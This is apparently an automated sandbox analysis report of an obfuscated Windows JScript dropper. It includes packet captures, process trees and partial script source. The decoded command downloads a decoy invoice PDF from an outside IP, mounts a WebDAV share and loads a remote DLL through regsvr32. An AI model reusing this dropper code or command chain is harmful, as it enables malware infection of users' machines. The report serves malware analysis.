Jan 11, 2025 07:20:00.524775982 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:20:01.334713936 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:20:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:20:01.334759951 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:20:01.334798098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:20:01.334858894 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 07:20:01.334892035 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 07:20:01.334945917 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 07:20:01.334983110 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 07:20:01.335019112 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 07:20:01.335056067 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 07:20:01.335097075 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 07:20:01.340219021 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49724	193.143.1.205	8888	7260	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:03.179919004 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:20:04.052747011 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:20:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	01:19:56
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js"
Imagebase:	0x7ff75ccd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:19:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll
Imagebase:	0x7ff785bd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:19:56
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:19:56
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:20:01
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:20:01
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff785bd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:20:01
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c22c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:20:02
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:20:02
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	01:20:02
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1748,i,11596706274574819651,14604859157865583046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dgepxqmp() {	dgepxqmp() ➔ undefined
1	nhzxdra = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hjmpds = this[tkpmy + pptiduui + zvczebyj + xxuugjjfs + ejjmdm + ynmps + ztyahg + ppuzhurcb] ( this[vuypp + mslbt + jigxa + zvczebyj + zyeaiy + tkpmy + ppuzhurcb][ayvutl + zvczebyj + ejjmdm + pptiduui + ppuzhurcb + ejjmdm + ioizjdwao + hqgdo + ucbdnr + ejjmdm + jigxa + ppuzhurcb] ( vuypp + mslbt + jigxa + zvczebyj + zyeaiy + tkpmy + ppuzhurcb + zmugund + mslbt + cqcqeoj + ejjmdm + uerewf + uerewf ) [fwrkql + ejjmdm + kfezyp + fwrkql + ejjmdm + pptiduui + wljwx] ( hnruqnv + vzdmo + nsupqalh + xjavylav + qubccrk + ayvutl + nzltzb + fwrkql + fwrkql + nsupqalh + nplogmy + yehfdn + qubccrk + nzltzb + mslbt + nsupqalh + fwrkql + tugmus + ayvutl + ozcsmuec + ztyahg + ppuzhurcb + zvczebyj + ozcsmuec + uerewf + idrmtvxw + yclgug + pptiduui + ztyahg + ejjmdm + uerewf + tugmus + ynmps + ztyahg + ppuzhurcb + ejjmdm + zvczebyj + ztyahg + pptiduui + ppuzhurcb + zyeaiy + ozcsmuec + ztyahg + pptiduui + uerewf + tugmus + uuhspvnml + ozcsmuec + jigxa + pptiduui + uerewf + ejjmdm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qrbmqv = 0 ; qrbmqv < nhzxdra[uerewf + ejjmdm + ztyahg + kfezyp + ppuzhurcb + cqcqeoj] ; ++ qrbmqv )
4	{
5	if ( hjmpds == nhzxdra[qrbmqv] )
6	{
7	hjmpds = true;
8	break ;
9	}
10	}
11	if ( hjmpds !== true )
12	this[vuypp + mslbt + jigxa + zvczebyj + zyeaiy + tkpmy + ppuzhurcb][sgaxwsuxl + raqijepy + zyeaiy + ppuzhurcb] ( );
13	this[vuypp + mslbt + jigxa + zvczebyj + zyeaiy + tkpmy + ppuzhurcb][ayvutl + zvczebyj + ejjmdm + pptiduui + ppuzhurcb + ejjmdm + ioizjdwao + hqgdo + ucbdnr + ejjmdm + jigxa + ppuzhurcb] ( vuypp + mslbt + jigxa + zvczebyj + zyeaiy + tkpmy + ppuzhurcb + zmugund + mslbt + cqcqeoj + ejjmdm + uerewf + uerewf ) [zvczebyj + raqijepy + ztyahg] ( jigxa + biyhb + wljwx + idrmtvxw + otznwixm + jigxa + idrmtvxw + tkpmy + ozcsmuec + yutafyfq + ejjmdm + zvczebyj + xxuugjjfs + cqcqeoj + ejjmdm + uerewf + uerewf + zmugund + ejjmdm + qgprr + ejjmdm + idrmtvxw + pqopj + ayvutl + ozcsmuec + biyhb + biyhb + pptiduui + ztyahg + wljwx + idrmtvxw + hismjhvoc + ynmps + ztyahg + laesjcv + ozcsmuec + rbtopk + ejjmdm + pqopj + vuypp + ejjmdm + hqgdo + fwrkql + ejjmdm + hxfktnhx + raqijepy + ejjmdm + xxuugjjfs + ppuzhurcb + idrmtvxw + pqopj + ioizjdwao + raqijepy + ppuzhurcb + mncuvuve + zyeaiy + uerewf + ejjmdm + idrmtvxw + lxzwtei + ppuzhurcb + ejjmdm + biyhb + tkpmy + lxzwtei + tugmus + zyeaiy + ztyahg + laesjcv + ozcsmuec + zyeaiy + jigxa + ejjmdm + zmugund + tkpmy + wljwx + ozgggux + idrmtvxw + cqcqeoj + ppuzhurcb + ppuzhurcb + tkpmy + csyafr + otznwixm + otznwixm + vchjxzgit + tzqipqli + snzgo + zmugund + vchjxzgit + nflgcbnn + snzgo + zmugund + vchjxzgit + zmugund + odhjev + rrlijsdyc + zjaqcwn + otznwixm + zyeaiy + ztyahg + laesjcv + ozcsmuec + zyeaiy + jigxa + ejjmdm + zmugund + tkpmy + cqcqeoj + tkpmy + hismjhvoc + fkmdgn + fkmdgn + xxuugjjfs + ppuzhurcb + pptiduui + zvczebyj + ppuzhurcb + idrmtvxw + lxzwtei + ppuzhurcb + ejjmdm + biyhb + tkpmy + lxzwtei + tugmus + zyeaiy + ztyahg + laesjcv + ozcsmuec + zyeaiy + jigxa + ejjmdm + zmugund + tkpmy + wljwx + ozgggux + fkmdgn + fkmdgn + jigxa + biyhb + wljwx + idrmtvxw + otznwixm + jigxa + idrmtvxw + ztyahg + ejjmdm + ppuzhurcb + idrmtvxw + raqijepy + xxuugjjfs + ejjmdm + idrmtvxw + tugmus + tugmus + vchjxzgit + tzqipqli + snzgo + zmugund + vchjxzgit + nflgcbnn + snzgo + zmugund + vchjxzgit + zmugund + odhjev + rrlijsdyc + zjaqcwn + ogoui + irbtsvesb + irbtsvesb + irbtsvesb + irbtsvesb + tugmus + wljwx + pptiduui + laesjcv + yutafyfq + yutafyfq + yutafyfq + zvczebyj + ozcsmuec + ozcsmuec + ppuzhurcb + tugmus + fkmdgn + fkmdgn + jigxa + biyhb + wljwx + idrmtvxw + otznwixm + jigxa + idrmtvxw + zvczebyj + ejjmdm + kfezyp + xxuugjjfs + laesjcv + zvczebyj + snzgo + odhjev + idrmtvxw + otznwixm + xxuugjjfs + idrmtvxw + tugmus + tugmus + vchjxzgit + tzqipqli + snzgo + zmugund + vchjxzgit + nflgcbnn + snzgo + zmugund + vchjxzgit + zmugund + odhjev + rrlijsdyc + zjaqcwn + ogoui + irbtsvesb + irbtsvesb + irbtsvesb + irbtsvesb + tugmus + wljwx + pptiduui + laesjcv + yutafyfq + yutafyfq + yutafyfq + zvczebyj + ozcsmuec + ozcsmuec + ppuzhurcb + tugmus + tzqipqli + mlwqzi + zjaqcwn + rrlijsdyc + snzgo + irbtsvesb + vchjxzgit + snzgo + odhjev + vchjxzgit + nflgcbnn + irbtsvesb + zmugund + wljwx + uerewf + uerewf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll",0,false) ➔ 0
14	}
15	fkmdgn = "C";
16	fkmdgn = "w";
17	fkmdgn = "A";
18	fkmdgn = "A";
19	fkmdgn = "t";
20	fkmdgn = "x";
21	fkmdgn = "e";
22	fkmdgn = "j";
23	fkmdgn = "J";
24	fkmdgn = "n";
25	fkmdgn = "n";
26	fkmdgn = "Z";
27	fkmdgn = "u";
28	fkmdgn = "g";
29	fkmdgn = "d";
30	fkmdgn = "W";
31	fkmdgn = "f";
32	fkmdgn = "Q";
33	fkmdgn = "S";
34	fkmdgn = "A";
35	fkmdgn = "i";
36	fkmdgn = "p";
37	fkmdgn = "E";
38	fkmdgn = "C";
39	fkmdgn = "N";
40	fkmdgn = "e";
41	fkmdgn = "O";
42	fkmdgn = "p";
43	fkmdgn = "w";
44	fkmdgn = "F";
45	fkmdgn = "S";
46	fkmdgn = "Q";
47	fkmdgn = "j";
48	fkmdgn = "I";
49	fkmdgn = "l";
50	fkmdgn = "p";
51	fkmdgn = "Y";
52	fkmdgn = "v";
53	fkmdgn = "&";
54	tzqipqli = "z";
55	tzqipqli = "c";
56	tzqipqli = "Y";
57	tzqipqli = "A";
58	tzqipqli = "u";
59	tzqipqli = "Z";
60	tzqipqli = "h";
61	tzqipqli = "I";
62	tzqipqli = "I";
63	tzqipqli = "n";
64	tzqipqli = "T";
65	tzqipqli = "9";
66	pptiduui = "M";
67	pptiduui = "p";
68	pptiduui = "a";
69	ucbdnr = "p";
70	ucbdnr = "E";
71	ucbdnr = "V";
72	ucbdnr = "t";
73	ucbdnr = "e";
74	ucbdnr = "n";
75	ucbdnr = "r";
76	ucbdnr = "c";
77	ucbdnr = "J";
78	ucbdnr = "K";
79	ucbdnr = "Y";
80	ucbdnr = "D";
81	ucbdnr = "l";
82	ucbdnr = "p";
83	ucbdnr = "H";
84	ucbdnr = "M";
85	ucbdnr = "R";
86	ucbdnr = "D";
87	ucbdnr = "b";
88	ucbdnr = "q";
89	ucbdnr = "H";
90	ucbdnr = "t";
91	ucbdnr = "r";
92	ucbdnr = "N";
93	ucbdnr = "J";
94	ucbdnr = "y";
95	ucbdnr = "s";
96	ucbdnr = "F";
97	ucbdnr = "H";
98	ucbdnr = "B";
99	ucbdnr = "k";
100	ucbdnr = "m";
101	ucbdnr = "q";
102	ucbdnr = "j";
103	xjavylav = "F";
104	xjavylav = "x";
105	xjavylav = "D";
106	xjavylav = "w";
107	xjavylav = "F";
108	xjavylav = "A";
109	xjavylav = "q";
110	xjavylav = "M";
111	xjavylav = "q";
112	xjavylav = "U";
113	xjavylav = "G";
114	xjavylav = "y";
115	xjavylav = "Y";
116	xjavylav = "J";
117	xjavylav = "J";
118	xjavylav = "C";
119	xjavylav = "h";
120	xjavylav = "t";
121	xjavylav = "N";
122	xjavylav = "t";
123	xjavylav = "d";
124	xjavylav = "Y";
125	biyhb = "K";
126	biyhb = "o";
127	biyhb = "n";
128	biyhb = "i";
129	biyhb = "m";
130	vuypp = "v";
131	vuypp = "L";
132	vuypp = "b";
133	vuypp = "F";
134	vuypp = "y";
135	vuypp = "q";
136	vuypp = "a";
137	vuypp = "z";
138	vuypp = "c";
139	vuypp = "p";
140	vuypp = "M";
141	vuypp = "A";
142	vuypp = "Q";
143	vuypp = "Z";
144	vuypp = "C";
145	vuypp = "W";
146	fwrkql = "y";
147	fwrkql = "J";
148	fwrkql = "y";
149	fwrkql = "b";
150	fwrkql = "X";
151	fwrkql = "A";
152	fwrkql = "b";
153	fwrkql = "j";
154	fwrkql = "R";
155	ogoui = "l";
156	ogoui = "c";
157	ogoui = "@";
158	yutafyfq = "r";
159	yutafyfq = "r";
160	yutafyfq = "n";
161	yutafyfq = "H";
162	yutafyfq = "a";
163	yutafyfq = "J";
164	yutafyfq = "j";
165	yutafyfq = "H";
166	yutafyfq = "c";
167	yutafyfq = "f";
168	yutafyfq = "H";
169	yutafyfq = "d";
170	yutafyfq = "P";
171	yutafyfq = "B";
172	yutafyfq = "b";
173	yutafyfq = "t";
174	yutafyfq = "r";
175	yutafyfq = "L";
176	yutafyfq = "c";
177	yutafyfq = "K";
178	yutafyfq = "F";
179	yutafyfq = "J";
180	yutafyfq = "d";
181	yutafyfq = "l";
182	yutafyfq = "y";
183	yutafyfq = "W";
184	yutafyfq = "a";
185	yutafyfq = "s";
186	yutafyfq = "D";
187	yutafyfq = "g";
188	yutafyfq = "O";
189	yutafyfq = "Z";
190	yutafyfq = "I";
191	yutafyfq = "m";
192	yutafyfq = "o";
193	yutafyfq = "G";
194	yutafyfq = "w";
195	qubccrk = "n";
196	qubccrk = "j";
197	qubccrk = "U";
198	qubccrk = "D";
199	qubccrk = "e";
200	qubccrk = "J";
201	qubccrk = "o";
202	qubccrk = "S";
203	qubccrk = "f";
204	qubccrk = "Y";
205	qubccrk = "z";
206	qubccrk = "h";
207	qubccrk = "l";
208	qubccrk = "t";
209	qubccrk = "F";
210	qubccrk = "N";
211	qubccrk = "N";
212	qubccrk = "Y";
213	qubccrk = "m";
214	qubccrk = "f";
215	qubccrk = "C";
216	qubccrk = "U";
217	qubccrk = "O";
218	qubccrk = "V";
219	qubccrk = "P";
220	qubccrk = "S";
221	qubccrk = "W";
222	qubccrk = "X";
223	qubccrk = "H";
224	qubccrk = "f";
225	qubccrk = "l";
226	qubccrk = "D";
227	qubccrk = "x";
228	qubccrk = "T";
229	qubccrk = "D";
230	qubccrk = "p";
231	qubccrk = "v";
232	qubccrk = "_";
233	zmugund = "J";
234	zmugund = "x";
235	zmugund = "j";
236	zmugund = "C";
237	zmugund = "l";
238	zmugund = "t";
239	zmugund = "F";
240	zmugund = "s";
241	zmugund = "c";
242	zmugund = "g";
243	zmugund = "O";
244	zmugund = "O";
245	zmugund = "d";
246	zmugund = "e";
247	zmugund = "B";
248	zmugund = "z";
249	zmugund = "e";
250	zmugund = "t";
251	zmugund = "y";
252	zmugund = "j";
253	zmugund = "p";
254	zmugund = "y";
255	zmugund = "L";
256	zmugund = "w";
257	zmugund = "v";
258	zmugund = "d";
259	zmugund = "p";
260	zmugund = "L";
261	zmugund = "d";
262	zmugund = "O";
263	zmugund = "C";
264	zmugund = "v";
265	zmugund = "C";
266	zmugund = "O";
267	zmugund = "k";
268	zmugund = "x";
269	zmugund = "l";
270	zmugund = "N";
271	zmugund = "K";
272	zmugund = "g";
273	zmugund = "z";
274	zmugund = "m";
275	zmugund = ".";
276	rbtopk = "L";
277	rbtopk = "w";
278	rbtopk = "D";
279	rbtopk = "Y";
280	rbtopk = "T";
281	rbtopk = "T";
282	rbtopk = "L";
283	rbtopk = "x";
284	rbtopk = "u";
285	rbtopk = "v";
286	rbtopk = "n";
287	rbtopk = "B";
288	rbtopk = "K";
289	rbtopk = "T";
290	rbtopk = "Z";
291	rbtopk = "H";
292	rbtopk = "t";
293	rbtopk = "B";
294	rbtopk = "s";
295	rbtopk = "O";
296	rbtopk = "V";
297	rbtopk = "O";
298	rbtopk = "m";
299	rbtopk = "C";
300	rbtopk = "h";
301	rbtopk = "k";
302	rbtopk = "B";
303	rbtopk = "a";
304	rbtopk = "h";
305	rbtopk = "N";
306	rbtopk = "v";
307	rbtopk = "U";
308	rbtopk = "x";
309	rbtopk = "k";
310	vzdmo = "d";
311	vzdmo = "e";
312	vzdmo = "l";
313	vzdmo = "N";
314	vzdmo = "D";
315	vzdmo = "H";
316	vzdmo = "L";
317	vzdmo = "P";
318	vzdmo = "z";
